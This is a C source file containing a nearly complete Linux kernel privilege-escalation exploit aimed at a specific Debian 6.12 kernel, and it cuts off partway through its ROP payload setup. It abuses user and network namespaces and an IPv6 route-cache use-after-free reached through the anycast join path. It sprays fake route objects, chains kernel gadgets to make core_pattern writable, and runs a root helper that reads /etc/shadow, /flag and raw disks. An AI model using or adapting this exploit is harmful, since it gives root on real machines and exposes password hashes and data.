/*
 * Copyright 2026 Nebula Security
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/fib_rules.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <net/if.h>
#include <netinet/icmp6.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/udp.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include "leak.h"

#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define KERNEL_IMAGE_PAGES 22
#define CPU1_CEA_PHYS_OFFSET UINT64_C(0x3ed18f58)

/* Debian 6.12.101-1.  The first three are intentionally unaligned gadgets. */
#define OFF_PIVOT_RBX UINT64_C(0x5140a9)
#define OFF_POP_RSP_R15 UINT64_C(0xb2942)
#define OFF_FIVE_POP UINT64_C(0x91157)
#define OFF_POP_RSI UINT64_C(0xccc21d)
#define OFF_POP_RDI_RDI UINT64_C(0x8148e0)
#define OFF_WRITE4 UINT64_C(0x2c002e)
#define OFF_CLI_HALT UINT64_C(0x3e28e)
#define OFF_CORE_PATTERN_MODE UINT64_C(0x1d8d7ec)

static uint64_t kernel_slide;
static uint64_t cea;
static uint64_t pivot_rbx;
static uint64_t pop_rsp_r15;
static uint64_t five_pop;
static uint64_t pop_rsi;
static uint64_t pop_rdi_rdi;
static uint64_t write4;
static uint64_t cli_halt;
static uint64_t core_pattern_mode;
static int watcher_arm[2];
static int watcher_ready[2];
static int seeder_ready[2];

static uint32_t sequence;

static void die(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void write_file(const char *path, const char *value)
{
	int fd = open(path, O_WRONLY | O_CLOEXEC);
	size_t left = strlen(value);

	if (fd < 0)
		die(path);
	while (left) {
		ssize_t written = write(fd, value, left);

		if (written < 0) {
			if (errno == EINTR)
				continue;
			die(path);
		}
		value += written;
		left -= (size_t)written;
	}
	close(fd);
}

static void drop_initial_privileges(void)
{
	if (geteuid() == 0) {
		if (setgroups(0, NULL) < 0)
			die("drop supplementary groups");
		if (setresgid(65534, 65534, 65534) < 0 ||
		    setresuid(65534, 65534, 65534) < 0)
			die("drop to nobody");
		if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
			die("PR_SET_DUMPABLE");
	}
	printf("[+] initial uid=%u gid=%u\n", getuid(), getgid());
}

static void enter_namespaces(void)
{
	char map[64];
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER) < 0)
		die("unshare user");
	write_file("/proc/self/setgroups", "deny");
	snprintf(map, sizeof(map), "0 %u 1\n", uid);
	write_file("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %u 1\n", gid);
	write_file("/proc/self/gid_map", map);
	if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
		die("set namespace uid");
	if (unshare(CLONE_NEWNET) < 0)
		die("unshare net");
}

static struct rtattr *put_attr(struct nlmsghdr *nlh, size_t capacity,
			       unsigned short type, const void *data, size_t length)
{
	size_t offset = NLMSG_ALIGN(nlh->nlmsg_len);
	size_t space = RTA_ALIGN(RTA_LENGTH(length));
	struct rtattr *attr;

	if (offset + space > capacity) {
		errno = EMSGSIZE;
		die("netlink attribute");
	}
	attr = (struct rtattr *)((char *)nlh + offset);
	attr->rta_type = type;
	attr->rta_len = RTA_LENGTH(length);
	if (length)
		memcpy(RTA_DATA(attr), data, length);
	memset((char *)attr + attr->rta_len, 0, space - attr->rta_len);
	nlh->nlmsg_len = offset + space;
	return attr;
}

static struct rtattr *nest_start(struct nlmsghdr *nlh, size_t capacity,
				 unsigned short type)
{
	return put_attr(nlh, capacity, type | NLA_F_NESTED, NULL, 0);
}

static void nest_end(struct nlmsghdr *nlh, struct rtattr *nest)
{
	nest->rta_len = (char *)nlh + nlh->nlmsg_len - (char *)nest;
}

static void send_ack(int fd, struct nlmsghdr *nlh, const char *what)
{
	struct sockaddr_nl kernel = { .nl_family = AF_NETLINK };
	char reply[8192];
	ssize_t received;

	nlh->nlmsg_seq = ++sequence;
	if (sendto(fd, nlh, nlh->nlmsg_len, 0,
		   (struct sockaddr *)&kernel, sizeof(kernel)) !=
	    (ssize_t)nlh->nlmsg_len)
		die(what);
	for (;;) {
		struct nlmsghdr *response;
		int remaining;

		received = recv(fd, reply, sizeof(reply), 0);
		if (received < 0) {
			if (errno == EINTR)
				continue;
			die(what);
		}
		remaining = received;
		for (response = (struct nlmsghdr *)reply;
		     NLMSG_OK(response, remaining);
		     response = NLMSG_NEXT(response, remaining)) {
			struct nlmsgerr *error;

			if (response->nlmsg_seq != nlh->nlmsg_seq)
				continue;
			if (response->nlmsg_type != NLMSG_ERROR) {
				errno = EPROTO;
				die(what);
			}
			error = NLMSG_DATA(response);
			if (error->error) {
				errno = -error->error;
				die(what);
			}
			return;
		}
	}
}

static int open_rtnl(void)
{
	struct sockaddr_nl local = { .nl_family = AF_NETLINK };
	int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);

	if (fd < 0)
		die("socket NETLINK_ROUTE");
	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
		die("bind NETLINK_ROUTE");
	return fd;
}

static void create_veth(int fd, const char *left, const char *right)
{
	char buffer[1024] = { 0 };
	struct nlmsghdr *nlh = (void *)buffer;
	struct ifinfomsg *ifi;
	struct rtattr *linkinfo, *infodata, *peer;

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	put_attr(nlh, sizeof(buffer), IFLA_IFNAME, left, strlen(left) + 1);
	linkinfo = nest_start(nlh, sizeof(buffer), IFLA_LINKINFO);
	put_attr(nlh, sizeof(buffer), IFLA_INFO_KIND, "veth", sizeof("veth"));
	infodata = nest_start(nlh, sizeof(buffer), IFLA_INFO_DATA);
	peer = nest_start(nlh, sizeof(buffer), VETH_INFO_PEER);
	if (nlh->nlmsg_len + NLMSG_ALIGN(sizeof(*ifi)) > sizeof(buffer)) {
		errno = EMSGSIZE;
		die("veth peer ifinfomsg");
	}
	memset((char *)nlh + nlh->nlmsg_len, 0, NLMSG_ALIGN(sizeof(*ifi)));
	nlh->nlmsg_len += NLMSG_ALIGN(sizeof(*ifi));
	put_attr(nlh, sizeof(buffer), IFLA_IFNAME, right, strlen(right) + 1);
	nest_end(nlh, peer);
	nest_end(nlh, infodata);
	nest_end(nlh, linkinfo);
	send_ack(fd, nlh, "create veth");
}

static unsigned int set_link_up(int fd, const char *name)
{
	char buffer[256] = { 0 };
	struct nlmsghdr *nlh = (void *)buffer;
	struct ifinfomsg *ifi;
	unsigned int index = if_nametoindex(name);

	if (!index)
		die("if_nametoindex");
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	ifi->ifi_index = index;
	ifi->ifi_flags = IFF_UP;
	ifi->ifi_change = IFF_UP;
	send_ack(fd, nlh, "set link up");
	return index;
}

static void add_address(int fd, unsigned int index)
{
	char buffer[256] = { 0 };
	struct nlmsghdr *nlh = (void *)buffer;
	struct ifaddrmsg *ifa;
	struct in6_addr address;

	if (inet_pton(AF_INET6, "2001:db8::2", &address) != 1)
		die("inet_pton address");
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifa));
	nlh->nlmsg_type = RTM_NEWADDR;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	ifa = NLMSG_DATA(nlh);
	ifa->ifa_family = AF_INET6;
	ifa->ifa_prefixlen = 64;
	ifa->ifa_flags = IFA_F_NODAD;
	ifa->ifa_scope = RT_SCOPE_UNIVERSE;
	ifa->ifa_index = index;
	put_attr(nlh, sizeof(buffer), IFA_LOCAL, &address, sizeof(address));
	put_attr(nlh, sizeof(buffer), IFA_ADDRESS, &address, sizeof(address));
	send_ack(fd, nlh, "add IPv6 address");
}

static void make_destination(struct in6_addr *destination, unsigned int serial)
{
	if (inet_pton(AF_INET6, "2001:db8::", destination) != 1)
		die("inet_pton destination");
	destination->s6_addr[12] = (serial >> 24) & 0xff;
	destination->s6_addr[13] = (serial >> 16) & 0xff;
	destination->s6_addr[14] = (serial >> 8) & 0xff;
	destination->s6_addr[15] = serial & 0xff;
}

static void add_route(int fd, unsigned int index, uint32_t table)
{
	char buffer[256] = { 0 };
	struct nlmsghdr *nlh = (void *)buffer;
	struct rtmsg *rtm;
	struct in6_addr destination;

	if (inet_pton(AF_INET6, "2001:db8::", &destination) != 1)
		die("inet_pton route");
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*rtm));
	nlh->nlmsg_type = RTM_NEWROUTE;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	rtm = NLMSG_DATA(nlh);
	rtm->rtm_family = AF_INET6;
	rtm->rtm_dst_len = 64;
	rtm->rtm_table = table <= 255 ? (uint8_t)table : RT_TABLE_UNSPEC;
	rtm->rtm_protocol = RTPROT_STATIC;
	rtm->rtm_scope = RT_SCOPE_LINK;
	rtm->rtm_type = RTN_UNICAST;
	put_attr(nlh, sizeof(buffer), RTA_DST, &destination, sizeof(destination));
	put_attr(nlh, sizeof(buffer), RTA_OIF, &index, sizeof(index));
	if (table > 255)
		put_attr(nlh, sizeof(buffer), RTA_TABLE, &table, sizeof(table));
	send_ack(fd, nlh, "add IPv6 route");
}

static void delete_route(int fd, unsigned int index, uint32_t table)
{
	char buffer[256] = { 0 };
	struct nlmsghdr *nlh = (void *)buffer;
	struct rtmsg *rtm;
	struct in6_addr destination;

	if (inet_pton(AF_INET6, "2001:db8::", &destination) != 1)
		die("inet_pton route delete");
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*rtm));
	nlh->nlmsg_type = RTM_DELROUTE;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	rtm = NLMSG_DATA(nlh);
	rtm->rtm_family = AF_INET6;
	rtm->rtm_dst_len = 64;
	rtm->rtm_table = table <= 255 ? (uint8_t)table : RT_TABLE_UNSPEC;
	rtm->rtm_scope = RT_SCOPE_LINK;
	rtm->rtm_type = RTN_UNICAST;
	put_attr(nlh, sizeof(buffer), RTA_DST, &destination, sizeof(destination));
	put_attr(nlh, sizeof(buffer), RTA_OIF, &index, sizeof(index));
	if (table > 255)
		put_attr(nlh, sizeof(buffer), RTA_TABLE, &table, sizeof(table));
	send_ack(fd, nlh, "delete IPv6 route");
}

static void get_hardware_address(const char *name, unsigned char address[6])
{
	struct ifreq request = { 0 };
	int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);

	if (fd < 0)
		die("socket ioctl");
	strncpy(request.ifr_name, name, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFHWADDR, &request) < 0)
		die("SIOCGIFHWADDR");
	memcpy(address, request.ifr_hwaddr.sa_data, 6);
	close(fd);
}

static uint32_t checksum_add(uint32_t sum, const void *data, size_t length)
{
	const unsigned char *bytes = data;

	while (length >= 2) {
		sum += ((uint32_t)bytes[0] << 8) | bytes[1];
		bytes += 2;
		length -= 2;
	}
	if (length)
		sum += (uint32_t)bytes[0] << 8;
	return sum;
}

static uint16_t icmp6_checksum(const struct in6_addr *source,
			       const struct in6_addr *destination,
			       const void *icmp, size_t length)
{
	uint32_t sum = 0;
	unsigned char trailer[4] = { 0 };
	uint32_t network_length = htonl(length);

	sum = checksum_add(sum, source, sizeof(*source));
	sum = checksum_add(sum, destination, sizeof(*destination));
	sum = checksum_add(sum, &network_length, sizeof(network_length));
	trailer[3] = IPPROTO_ICMPV6;
	sum = checksum_add(sum, trailer, sizeof(trailer));
	sum = checksum_add(sum, icmp, length);
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return htons((uint16_t)~sum);
}

static int create_quoted_udp_flow(const struct in6_addr *destination,
				  uint32_t mark, uint16_t source_port)
{
	struct sockaddr_in6 local = {
		.sin6_family = AF_INET6,
		.sin6_port = htons(source_port),
	};
	struct sockaddr_in6 remote = {
		.sin6_family = AF_INET6,
		.sin6_port = htons(23456),
	};
	int fd = socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0);

	if (fd < 0)
		die("socket quoted UDP flow");
	if (mark && setsockopt(fd, SOL_SOCKET, SO_MARK, &mark, sizeof(mark)) < 0)
		die("SO_MARK quoted UDP flow");
	if (inet_pton(AF_INET6, "2001:db8::2", &local.sin6_addr) != 1)
		die("inet_pton UDP flow");
	remote.sin6_addr = *destination;
	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
		die("bind quoted UDP flow");
	if (connect(fd, (struct sockaddr *)&remote, sizeof(remote)) < 0)
		die("connect quoted UDP flow");
	return fd;
}

static void inject_packet_too_big(const struct in6_addr *quoted_destination,
				  uint16_t quoted_source_port)
{
	struct {
		struct ethhdr ethernet;
		struct ip6_hdr outer;
		struct icmp6_hdr icmp;
		struct ip6_hdr inner;
		struct udphdr udp;
	} __attribute__((packed)) packet = { 0 };
	struct sockaddr_ll destination = {
		.sll_family = AF_PACKET,
		.sll_protocol = htons(ETH_P_IPV6),
	};
	unsigned char edge0_address[6], edge1_address[6];
	struct in6_addr outer_source, outer_destination;
	int fd;
	size_t icmp_length = sizeof(packet.icmp) + sizeof(packet.inner) +
			     sizeof(packet.udp);

	get_hardware_address("edge0", edge0_address);
	get_hardware_address("edge1", edge1_address);
	memcpy(packet.ethernet.h_dest, edge0_address, sizeof(edge0_address));
	memcpy(packet.ethernet.h_source, edge1_address, sizeof(edge1_address));
	packet.ethernet.h_proto = htons(ETH_P_IPV6);
	packet.outer.ip6_flow = htonl(6U << 28);
	packet.outer.ip6_plen = htons(icmp_length);
	packet.outer.ip6_nxt = IPPROTO_ICMPV6;
	packet.outer.ip6_hlim = 64;
	if (inet_pton(AF_INET6, "2001:db8::3", &outer_source) != 1 ||
	    inet_pton(AF_INET6, "2001:db8::2", &outer_destination) != 1)
		die("inet_pton outer packet");
	memcpy(&packet.outer.ip6_src, &outer_source, sizeof(outer_source));
	memcpy(&packet.outer.ip6_dst, &outer_destination,
	       sizeof(outer_destination));
	packet.icmp.icmp6_type = ICMP6_PACKET_TOO_BIG;
	packet.icmp.icmp6_code = 0;
	packet.icmp.icmp6_mtu = htonl(1280);
	packet.inner.ip6_flow = htonl(6U << 28);
	packet.inner.ip6_plen = htons(sizeof(packet.udp));
	packet.inner.ip6_nxt = IPPROTO_UDP;
	packet.inner.ip6_hlim = 64;
	if (inet_pton(AF_INET6, "2001:db8::2", &packet.inner.ip6_src) != 1)
		die("inet_pton inner packet");
	packet.inner.ip6_dst = *quoted_destination;
	packet.udp.uh_sport = htons(quoted_source_port);
	packet.udp.uh_dport = htons(23456);
	packet.udp.uh_ulen = htons(sizeof(packet.udp));
	packet.icmp.icmp6_cksum = icmp6_checksum(&outer_source,
						  &outer_destination,
						  &packet.icmp, icmp_length);
	destination.sll_ifindex = if_nametoindex("edge1");
	if (!destination.sll_ifindex)
		die("if_nametoindex edge1");
	memcpy(destination.sll_addr, edge0_address, sizeof(edge0_address));
	destination.sll_halen = ETH_ALEN;
	fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_IPV6));
	if (fd < 0)
		die("socket AF_PACKET");
	if (sendto(fd, &packet, sizeof(packet), 0,
		   (struct sockaddr *)&destination, sizeof(destination)) !=
	    (ssize_t)sizeof(packet))
		die("inject ICMPv6 PTB");
	close(fd);
	usleep(2000);
}

static void modify_rule(int fd, int command, uint32_t priority,
			uint32_t table, int suppress)
{
	char buffer[256] = { 0 };
	struct nlmsghdr *nlh = (void *)buffer;
	struct fib_rule_hdr *frh;

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*frh));
	nlh->nlmsg_type = command;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	if (command == RTM_NEWRULE)
		nlh->nlmsg_flags |= NLM_F_CREATE | NLM_F_EXCL;
	frh = NLMSG_DATA(nlh);
	frh->family = AF_INET6;
	frh->table = table <= 255 ? (uint8_t)table : RT_TABLE_UNSPEC;
	frh->action = FR_ACT_TO_TBL;
	put_attr(nlh, sizeof(buffer), FRA_PRIORITY, &priority, sizeof(priority));
	if (table > 255)
		put_attr(nlh, sizeof(buffer), FRA_TABLE, &table, sizeof(table));
	if (suppress >= 0)
		put_attr(nlh, sizeof(buffer), FRA_SUPPRESS_PREFIXLEN,
			 &suppress, sizeof(suppress));
	send_ack(fd, nlh, command == RTM_NEWRULE ? "add IPv6 rule" :
		 "delete IPv6 rule");
}

static void modify_mark_rule(int fd, int command, uint32_t priority,
			     uint32_t table, uint32_t mark)
{
	char buffer[256] = { 0 };
	struct nlmsghdr *nlh = (void *)buffer;
	struct fib_rule_hdr *frh;
	uint32_t mask = UINT32_MAX;

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*frh));
	nlh->nlmsg_type = command;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	if (command == RTM_NEWRULE)
		nlh->nlmsg_flags |= NLM_F_CREATE | NLM_F_EXCL;
	frh = NLMSG_DATA(nlh);
	frh->family = AF_INET6;
	frh->table = table <= 255 ? (uint8_t)table : RT_TABLE_UNSPEC;
	frh->action = FR_ACT_TO_TBL;
	put_attr(nlh, sizeof(buffer), FRA_PRIORITY, &priority, sizeof(priority));
	put_attr(nlh, sizeof(buffer), FRA_FWMARK, &mark, sizeof(mark));
	put_attr(nlh, sizeof(buffer), FRA_FWMASK, &mask, sizeof(mask));
	if (table > 255)
		put_attr(nlh, sizeof(buffer), FRA_TABLE, &table, sizeof(table));
	send_ack(fd, nlh, command == RTM_NEWRULE ?
		 "add marked IPv6 rule" : "delete marked IPv6 rule");
}

static int trigger_anycast(const struct in6_addr *destination)
{
	struct ipv6_mreq request;
	int fd = socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0);

	if (fd < 0)
		die("socket IPv6");
	memset(&request, 0, sizeof(request));
	request.ipv6mr_multiaddr = *destination;
	/* A zero ifindex is essential: it asks the anycast join path to select
	 * the device through rt6_lookup(), which is the vulnerable caller. */
	request.ipv6mr_interface = 0;
	if (setsockopt(fd, IPPROTO_IPV6, IPV6_JOIN_ANYCAST,
		       &request, sizeof(request)) < 0) {
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

static unsigned int read_fib_rt_cache(const char *phase)
{
	unsigned int nodes, route_nodes, allocated, entries, cache, dst_entries;
	unsigned int discarded;
	FILE *file = fopen("/proc/net/rt6_stats", "re");

	if (!file)
		die("open /proc/net/rt6_stats");
	if (fscanf(file, "%x %x %x %x %x %x %x", &nodes, &route_nodes,
		   &allocated, &entries, &cache, &dst_entries, &discarded) != 7) {
		fclose(file);
		errno = EPROTO;
		die("parse /proc/net/rt6_stats");
	}
	fclose(file);
	printf("[+] rt6_stats phase=%s fib_rt_cache=%u allocated=%u entries=%u\n",
	       phase, cache, allocated, entries);
	return cache;
}

#define ROUTE_OBJECT_SIZE 256U
#define ROUTE_REF_OFFSET 64U
#define ROUTE_USE_OFFSET 68U
#define ROUTE_LASTUSE_OFFSET 72U
#define ROUTE_DADDR_OFFSET 148U
#define ROUTE_FLAGS_OFFSET 56U
#define ROUTE_PLEN_OFFSET 164U
#define ROUTE_IDEV_OFFSET 208U
#define DST_NOCOUNT 0x0008U

struct page_spray {
	int fd;
	void *mapping;
	size_t length;
	unsigned int blocks;
};

static void prepare_fake_route_page(void *page,
				    const struct in6_addr *destination)
{
	for (unsigned int offset = 0; offset < 4096;
	     offset += ROUTE_OBJECT_SIZE) {
		unsigned char *object = (unsigned char *)page + offset;
		uint32_t refs = UINT32_MAX;
		uint16_t flags = DST_NOCOUNT;
		uint64_t zero = 0;

		memset(object, 0, ROUTE_OBJECT_SIZE);
		memcpy(object, &pop_rsp_r15, sizeof(pop_rsp_r15));
		memcpy(object + 8, &cea, sizeof(cea));
		memcpy(object + ROUTE_FLAGS_OFFSET, &flags, sizeof(flags));
		memcpy(object + ROUTE_REF_OFFSET, &refs, sizeof(refs));
		memcpy(object + ROUTE_DADDR_OFFSET, destination,
		       sizeof(*destination));
		memcpy(object + ROUTE_PLEN_OFFSET, &zero, sizeof(uint8_t));
		memcpy(object + ROUTE_IDEV_OFFSET, &zero, sizeof(zero));
	}
}

static void page_spray_init(struct page_spray *spray, unsigned int blocks,
			    const struct in6_addr *destination)
{
	struct tpacket_req3 request = {
		.tp_block_size = 4096,
		.tp_block_nr = blocks,
		.tp_frame_size = 2048,
		.tp_frame_nr = blocks * 2,
		.tp_retire_blk_tov = 10000,
	};
	int version = TPACKET_V3;

	memset(spray, 0, sizeof(*spray));
	spray->fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, 0);
	if (spray->fd < 0)
		die("socket packet page spray");
	if (setsockopt(spray->fd, SOL_PACKET, PACKET_VERSION,
		       &version, sizeof(version)) < 0)
		die("PACKET_VERSION page spray");
	if (setsockopt(spray->fd, SOL_PACKET, PACKET_RX_RING,
		       &request, sizeof(request)) < 0)
		die("PACKET_RX_RING page spray");
	spray->length = (size_t)blocks * 4096;
	spray->blocks = blocks;
	spray->mapping = mmap(NULL, spray->length, PROT_READ | PROT_WRITE,
			      MAP_SHARED, spray->fd, 0);
	if (spray->mapping == MAP_FAILED)
		die("mmap packet page spray");
	for (unsigned int i = 0; i < blocks; i++)
		prepare_fake_route_page((unsigned char *)spray->mapping + i * 4096,
					destination);
}

static void page_hole_make(unsigned int blocks)
{
	struct tpacket_req3 request = {
		.tp_block_size = 4096,
		.tp_block_nr = blocks,
		.tp_frame_size = 2048,
		.tp_frame_nr = blocks * 2,
		.tp_retire_blk_tov = 10000,
	};
	int version = TPACKET_V3;
	int fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, 0);

	if (fd < 0)
		die("socket packet page hole");
	if (setsockopt(fd, SOL_PACKET, PACKET_VERSION,
		       &version, sizeof(version)) < 0)
		die("PACKET_VERSION page hole");
	if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING,
		       &request, sizeof(request)) < 0)
		die("PACKET_RX_RING page hole");
	close(fd);
}

static unsigned int page_spray_scan(const struct page_spray *spray,
				    const struct in6_addr *destination)
{
	unsigned int changed = 0;

	for (unsigned int page = 0; page < spray->blocks; page++) {
		for (unsigned int offset = 0; offset < 4096;
		     offset += ROUTE_OBJECT_SIZE) {
			unsigned char *object = (unsigned char *)spray->mapping +
				page * 4096 + offset;
			uint32_t refs, uses;
			unsigned long lastuse;

			memcpy(&refs, object + ROUTE_REF_OFFSET, sizeof(refs));
			memcpy(&uses, object + ROUTE_USE_OFFSET, sizeof(uses));
			memcpy(&lastuse, object + ROUTE_LASTUSE_OFFSET,
			       sizeof(lastuse));
			if (!memcmp(object + ROUTE_DADDR_OFFSET, destination,
				    sizeof(*destination)) &&
			    (refs != UINT32_MAX || uses || lastuse)) {
				printf("[+] reclaimed page=%u slot=%u refs=%#x uses=%u lastuse=%#lx\n",
				       page, offset / ROUTE_OBJECT_SIZE, refs, uses,
				       lastuse);
				changed++;
			}
		}
	}
	return changed;
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0)
		die("sched_setaffinity");
}

static int root_helper(const char *pid_string)
{
	static const char *paths[] = {
		"/dev/vdb", "/dev/vdc", "/flag", "/etc/shadow",
	};
	char output_path[64];
	char buffer[4096];
	int output;

	snprintf(output_path, sizeof(output_path), "/proc/%s/fd/1", pid_string);
	output = open(output_path, O_WRONLY | O_CLOEXEC);
	if (output < 0)
		output = STDOUT_FILENO;
	(void)!write(output, "ROOT_HELPER_OK\n", 15);
	for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
		int fd = open(paths[i], O_RDONLY | O_CLOEXEC);
		ssize_t got;

		if (fd < 0)
			continue;
		got = read(fd, buffer, sizeof(buffer));
		close(fd);
		if (got > 0) {
			(void)!write(output, buffer, (size_t)got);
			if (buffer[got - 1] != '\n')
				(void)!write(output, "\n", 1);
		}
	}
	if (output != STDOUT_FILENO)
		close(output);
	return 0;
}

static void delayed_core_pattern_watcher(void)
{
	static const char pattern[] = "|/proc/%P/fd/666 %P";
	char byte;
	struct timespec delay = { .tv_sec = 5 };
	int fd = -1;

	pin_cpu(1);
	if (read(watcher_arm[0], &byte, 1) != 1)
		_exit(2);
	if (write(watcher_ready[1], "R", 1) != 1)
		_exit(3);
	while (nanosleep(&delay, &delay) < 0 && errno == EINTR)
		;
	for (unsigned int attempt = 0; attempt < 30000; attempt++) {
		fd = open("/proc/sys/kernel/core_pattern", O_WRONLY | O_CLOEXEC);
		if (fd >= 0)
			break;
		usleep(1000);
	}
	if (fd < 0)
		_exit(4);
	if (write(fd, pattern, sizeof(pattern) - 1) !=
	    (ssize_t)(sizeof(pattern) - 1))
		_exit(5);
	close(fd);
	puts("[+] core_pattern is writable");

	if (!fork()) {
		struct rlimit limit = { RLIM_INFINITY, RLIM_INFINITY };
		int source = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
		int image = memfd_create("root-helper", 0);

		if (source < 0 || image < 0)
			_exit(6);
		if (sendfile(image, source, NULL, 1U << 30) < 0)
			_exit(7);
		if (dup2(image, 666) != 666)
			_exit(8);
		close(source);
		if (image != 666)
			close(image);
		(void)setrlimit(RLIMIT_CORE, &limit);
		*(volatile unsigned long *)0 = 0;
		_exit(9);
	}
	for (;;)
		pause();
}

static void resolve_kernel_addresses(void)
{
	kernel_slide = leak_image_slide(KERNEL_IMAGE_PAGES);
	pivot_rbx = KERNEL_BASE + kernel_slide + OFF_PIVOT_RBX;
	pop_rsp_r15 = KERNEL_BASE + kernel_slide + OFF_POP_RSP_R15;
	five_pop = KERNEL_BASE + kernel_slide + OFF_FIVE_POP;
	pop_rsi = KERNEL_BASE + kernel_slide + OFF_POP_RSI;
	pop_rdi_rdi = KERNEL_BASE + kernel_slide + OFF_POP_RDI_RDI;
	write4 = KERNEL_BASE + kernel_slide + OFF_WRITE4;
	cli_halt = KERNEL_BASE + kernel_slide + OFF_CLI_HALT;
	core_pattern_mode = KERNEL_BASE + kernel_slide + OFF_CORE_PATTERN_MODE;
	printf("[+] resolved kernel slide=%#llx\n",
	       (unsigned long long)kernel_slide);
}

static void resolve_cea_alias(void)
{
	uint64_t physmap;

	/* Resolve the direct-map alias before arming CPU1.  The multi-point
	 * checker identifies the mapped physical window without relying on a hot
	 * CEA page, so its high-sample pass cannot consume the seeding window. */
	physmap = leak_phys_map_base_checked(CPU1_CEA_PHYS_OFFSET);
	cea = physmap + CPU1_CEA_PHYS_OFFSET;
	printf("[+] CEA alias physmap=%#llx cea=%#llx\n",
	       (unsigned long long)physmap, (unsigned long long)cea);
}

struct cea_regs15_payload {
	uint64_t q[15];
};

static struct cea_regs15_payload cea_payload __attribute__((used));

__attribute__((naked, noreturn))
static void spin_cea_payload(void)
{
	asm volatile(
		"1: lea cea_payload(%rip), %rax\n\t"
		"mov 0x00(%rax), %r15\n\t"
		"mov 0x08(%rax), %r14\n\t"
		"mov 0x10(%rax), %r13\n\t"
		"mov 0x18(%rax), %r12\n\t"
		"mov 0x20(%rax), %rbp\n\t"
		"mov 0x28(%rax), %rbx\n\t"
		"mov 0x30(%rax), %r11\n\t"
		"mov 0x38(%rax), %r10\n\t"
		"mov 0x40(%rax), %r9\n\t"
		"mov 0x48(%rax), %r8\n\t"
		"mov 0x58(%rax), %rcx\n\t"
		"mov 0x60(%rax), %rdx\n\t"
		"mov 0x68(%rax), %rsi\n\t"
		"mov 0x70(%rax), %rdi\n\t"
		"mov 0x50(%rax), %rax\n\t"
		/* Never use SYSCALL here: the instruction overwrites r11 and rcx
		 * before entry, which are precisely CEA q[6] and q[11].  Timer IRQ
		 * entry preserves this userspace register image in CPU1's pt_regs. */
		"2: pause\n\t"
		"jmp 2b\n\t");
}

static void run_cea_seeder(void)
{
	uint64_t *q = cea_payload.q;

	/* dst_ops.destroy is q[6].  The two stack shims consume through q[6]
	 * and begin the write chain at q[7]. */
	q[0] = 0;
	q[1] = five_pop;
	q[2] = 0;
	q[3] = 0;
	q[4] = 0;
	q[5] = 0;
	q[6] = pivot_rbx;
	q[7] = pop_rsi;
	q[8] = core_pattern_mode;
	q[9] = pop_rdi_rdi;
	q[10] = 0;
	q[11] = 0x070001b6;
	q[12] = write4;
